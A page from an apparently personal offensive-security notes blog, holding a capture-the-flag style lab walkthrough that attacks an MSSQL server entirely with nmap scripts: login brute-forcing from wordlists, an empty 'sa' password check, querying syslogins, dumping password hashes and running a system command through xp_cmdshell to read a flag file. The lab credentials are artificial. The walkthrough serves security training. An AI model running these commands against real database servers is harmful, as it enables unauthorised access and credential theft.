boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

Lab

  1. Identify MSSQL Database Server
  2. Find information from the MSSQL server with NTLM.
  3. Enumerate all valid MSSQL users and passwords
  4. Identify 'sa' user password
  5. Execute MSSQL query to extract sysusers
  6. Dump MSSQL users hashes
  7. Execute a command on MSSQL to retrieve the flag. (The flag is located inside C:\flag.txt)

MSSQL Database Server with Nmap

Identify MSSQL Database Server

nmap 10.3.24.54 -p1433 -sV

Find NTLM from MSSQL Server

nmap 10.3.24.54 -p1433 --script=ms-sql-ntlm-info --script-args=mssql.instance-port=1433

Enumerate MSSQL Users and Passwords

nmap 10.3.24.54 -p1433 --script=ms-sql-brute --script-args userdb=/root/Desktop/wordlist/common_users.txt,passdb=/root/Desktop/wordlist/100-common-passwords.txt

Identify 'Sa' Password

nmap 10.3.24.54 -p1433 --script=ms-sql-empty-password

Execute MSSQL Query to Extract Sysusers

nmap 10.3.24.54 -p1433 --script=ms-sql-query --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-query.query="SELECT * FROM master..syslogins" -oN output.txt

Dump MSSQL User Hashes

nmap 10.3.24.54 -p1433 --script=ms-sql-dump-hashes --script-args mssql.username=admin,mssql.password=anamaria

Grab the Flag

nmap 10.3.24.54 -p1433 --script=ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd="type C:\flag.txt"